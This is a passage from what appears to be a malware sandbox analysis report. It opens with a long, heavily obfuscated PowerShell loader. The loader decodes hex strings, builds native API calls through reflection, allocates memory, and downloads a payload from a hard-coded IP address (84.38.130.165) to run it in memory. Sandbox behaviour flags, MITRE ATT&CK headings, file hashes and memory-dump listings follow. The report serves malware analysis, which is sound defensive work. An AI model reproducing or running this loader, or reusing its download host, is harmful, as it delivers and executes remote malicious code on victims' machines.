-eq '1') {$Baetzne0 = ''};$Baetzne1=Poche11 '391D17061B071B12005A231D1A47465A211A071512113A15001D02113911001C1B1007';$Baetzne2=Poche11 '33110024061B1735101006110707';$Baetzne3=Poche11 '270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A3C151A101811261112';$Baetzne4=Poche11 '0700061D1A13';$Baetzne5=Poche11 '331100391B100118113C151A101811';$Baetzne6=Poche11 '2620270411171D15183A15191158543C1D1011360D271D135854240116181D17';$Baetzne7=Poche11 '26011A001D1911585439151A15131110';$Baetzne8=Poche11 '2611121811170011103011181113150011';$Baetzne9=Poche11 '3D1A3911191B060D391B10011811';$Husa0=Poche11 '390D3011181113150011200D0411';$Husa1=Poche11 '37181507075854240116181D1758542711151811105854351A071D371815070758543501001B3718150707';$Husa2=Poche11 '3D1A021B1F11';$Husa3=Poche11 '240116181D1758543C1D1011360D271D1358543A110327181B005854221D0600011518';$Husa4=Poche11 '221D06000115183518181B17';$Husa5=Poche11 '1A00101818';$Husa6=Poche11 '3A0024061B00111700221D06000115183911191B060D';$Husa7=Poche11 '3D312C';$Husa8=Poche11 '28';$discerna=Poche11 '212731264746';$Rega=Poche11 '37151818231D1A101B0324061B1735';function fkp {Param ($Pure, $Staldfodre) ;$Udbyders0 =Poche11 '5027021518111C15185449545C2F350404301B19151D1A294E4E37010606111A00301B19151D1A5A331100350707111916181D11075C5D540854231C110611593B161E111700540F54502B5A33181B161518350707111916180D3715171C115459351A1054502B5A381B1715001D1B1A5A2704181D005C503C0107154C5D2F5945295A3105011518075C50361511000E1A11445D54095D5A331100200D04115C50361511000E1A11455D';&($Husa7) $Udbyders0;$Udbyders5 = Poche11 '503518160119111A1D075449545027021518111C15185A3311003911001C1B105C50361511000E1A114658542F200D04112F292954345C50361511000E1A1147585450361511000E1A11405D5D';&($Husa7) $Udbyders5;$Udbyders1 = Poche11 '06110001061A54503518160119111A1D075A3D1A021B1F115C501A0118185854345C2F270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A3C151A101811261112295C3A1103593B161E11170054270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A3C151A1018112611125C5C3A1103593B161E111700543D1A002400065D58545C5027021518111C15185A3311003911001C1B105C50361511000E1A11415D5D5A3D1A021B1F115C501A0118185854345C50240106115D5D5D5D5854502700151810121B1006115D5D';&($Husa7) $Udbyders1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Glori,[Parameter(Position = 1)] [Type] $Klematisse204 = [Void]);$Udbyders2 = Poche11 '503F021B00151B06105449542F350404301B19151D1A294E4E37010606111A00301B19151D1A5A3011121D1A11300D1A15191D17350707111916180D5C5C3A1103593B161E11170054270D070011195A261112181117001D1B1A5A350707111916180D3A1519115C50361511000E1A114C5D5D58542F270D070011195A261112181117001D1B1A5A31191D005A350707111916180D36011D18101106351717110707294E4E26011A5D5A3011121D1A11300D1A15191D17391B100118115C50361511000E1A114D58545012151807115D5A3011121D1A11200D04115C503C010715445854503C0107154558542F270D070011195A390118001D171507003011181113150011295D';&($Husa7) $Udbyders2;$Udbyders3 = Poche11 '503F021B00151B06105A3011121D1A11371B1A0700060117001B065C50361511000E1A114258542F270D070011195A261112181117001D1B1A5A371518181D1A13371B1A02111A001D1B1A07294E4E2700151A1015061058545033181B061D5D5A2711003D1904181119111A0015001D1B1A32181513075C50361511000E1A11435D';&($Husa7) $Udbyders3;$Udbyders4 = Poche11 '503F021B00151B06105A3011121D1A113911001C1B105C503C010715465854503C010715475854503F18111915001D07071146444058545033181B061D5D5A2711003D1904181119111A0015001D1B1A32181513075C50361511000E1A11435D';&($Husa7) $Udbyders4;$Udbyders5 = Poche11 '06110001061A54503F021B00151B06105A370611150011200D04115C5D';&($Husa7) $Udbyders5 ;}$Fiktioners = Poche11 '1F11061A11184746';$Udbyders6 = Poche11 '5027041C0D1319015449542F270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A391506071C1518294E4E3311003011181113150011321B0632011A17001D1B1A241B1D1A0011065C5C121F045450321D1F001D1B1A11060754503C010715405D58545C33302054345C2F3D1A002400062958542F213D1A0047462958542F213D1A0047462958542F213D1A004746295D545C2F3D1A00240006295D5D5D';&($Husa7) $Udbyders6;$Silkekj = fkp $Husa5 $Husa6;$Udbyders7 = Poche11 '503A15061F1B475449545027041C0D1319015A3D1A021B1F115C2F3D1A00240006294E4E2E11061B58544240425854440C474444445854440C40445D';&($Husa7) $Udbyders7;$Udbyders8 = Poche11 '50371D121211065449545027041C0D1319015A3D1A021B1F115C2F3D1A00240006294E4E2E11061B5854404D4444404140405854440C474444445854440C405D';&($Husa7) $Udbyders8;$Poche01 = 'http://84.38.130.165/Tilmeld235.snp';$Poche00 = Poche11 '50351916111807111510135449545C3A1103593B161E111700543A11005A23111637181D111A005D5A301B031A181B15102700061D1A135C50241B171C1144455D';$Udbyders8 = Poche11 '503A15061F1B464950111A024E15040410150015';&($Husa7) $Udbyders8;$Narko2=$Narko2+'\attitudina.Luf';$Ambelseadg='';if (-not(Test-Path $Narko2)) {while ($Ambelseadg -eq '') {&($Husa7) $Poche00;Start-Sleep 5;}Set-Content $Narko2 $Ambelseadg;}$Ambelseadg = Get-Content $Narko2;$Udbyders9 = Poche11 '502110160D101106075449542F270D070011195A371B1A02110600294E4E32061B193615071142402700061D1A135C50351916111807111510135D';&($Husa7) $Udbyders9;$Ambelseadg0 = Poche11 '2F270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A391506071C1518294E4E371B040D5C502110160D10110607585444585454503A15061F1B4758544240425D';&($Husa7) $Ambelseadg0;$Amforahov1=$Udbyders.count-646;$Ambelseadg1 = Poche11 '2F270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A391506071C1518294E4E371B040D5C502110160D101106075854424042585450371D121211065854503519121B06151C1B02455D';&($Husa7) $Ambelseadg1;$Ambelseadg2 = Poche11 '502406171110111A071C0D5449542F270D070011195A26011A001D19115A3D1A0011061B04271106021D1711075A391506071C1518294E4E3311003011181113150011321B0632011A17001D1B1A241B1D1A0011065C5C121F045450101D071711061A155450261113155D58545C33302054345C2F3D1A002400062958542F3D1A002400062958542F3D1A002400062958542F3D1A002400062958542F3D1A00240006295D545C2F3D1A00240006295D5D5D';&($Husa7) $Ambelseadg2;$Ambelseadg3 = Poche11 '502406171110111A071C0D5A3D1A021B1F115C503A15061F1B475850371D121211065850271D181F111F1E584458445D';&($Husa7) $Ambelseadg3#"
    3⤵
    - Blocklisted process makes network request
    - Checks QEMU agent file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CabA31.tmp

Path C:\Users\Admin\AppData\Local\Temp\CabA31.tmp
Size 61KB
SHA256 10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
MD5 fc4666cbca561e864e7fdf883a9e6661
SHA1 2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA512 c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
SSDEEP 1536:pvl2gmukMiArbge/oKIxf+Q9yNJLaRCfIElhUuDz:pvl2gmZhpehIxfJsJLawfIElhUu3
MD5 SHA1 SHA512 SSDEEP

Submit Download

TarAA1.tmp

Path C:\Users\Admin\AppData\Local\Temp\TarAA1.tmp
Size 161KB
SHA256 c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd
MD5 73b4b714b42fc9a6aaefd0ae59adb009
SHA1 efdaffd5b0ad21913d22001d91bf6c19ecb4ac41
SHA512 73af3c51b15f89237552b1718bef21fd80788fa416bab2cb2e7fb3a60d56249a716eda0d2dd68ab643752272640e7eaaaf57ce64bcb38373ddc3d035fb8d57cd
SSDEEP 1536:glJXlCUsGRvk/99SFrdW5ib1NWdm1wpzru2RfEyjYZjCQavSmt6t9:glJXqGRI0Sdm0zru2RUjCjvyz
MD5 SHA1 SHA512 SSDEEP

Submit Download

U3LR5LG0H99NX22AWY0N.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U3LR5LG0H99NX22AWY0N.temp
Size 7KB
SHA256 6ffb178298cc477b44cb0c0088f9e574a0526c709326eac395937a8f277eb2ea
MD5 123eb33758b792439d96e9a49c7bcad8
SHA1 3f258cb1d3a12dbb0105e3e4dbaf2f48e65b9cab
SHA512 3945e8cb17a5e76b648f1af99139e9ed20822742aa584427ce00d23429ce2ba6637ad7268a7d0317eca32dec7c537f4e0bc298c44440441638da2afe712da84f
SSDEEP 96:EJqCwJM8SnqvsqvJCwoqWJqCwJM8SnqvsEHyqvJCworAhibFQH3ER79/XlUVUf:sYeUoqSYeAHnorAhYGER79/1f
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/620-103-0x00000000025F0000-0x0000000002630000-memory.dmp

Download

memory/620-104-0x00000000025F0000-0x0000000002630000-memory.dmp

Download

memory/620-114-0x00000000025F0000-0x0000000002630000-memory.dmp

Download

memory/620-113-0x00000000025F0000-0x0000000002630000-memory.dmp

Download

memory/620-109-0x0000000004F90000-0x0000000004F91000-memory.dmp

Download

memory/620-107-0x0000000005BF0000-0x0000000008AAC000-memory.dmp

Download

memory/1920-102-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-96-0x000000001B2A0000-0x000000001B582000-memory.dmp

Download

memory/1920-108-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-97-0x0000000002040000-0x0000000002048000-memory.dmp

Download

memory/1920-110-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-111-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-112-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-100-0x0000000002070000-0x00000000020F0000-memory.dmp

Download

memory/1920-101-0x0000000002070000-0x00000000020F0000-memory.dmp

Download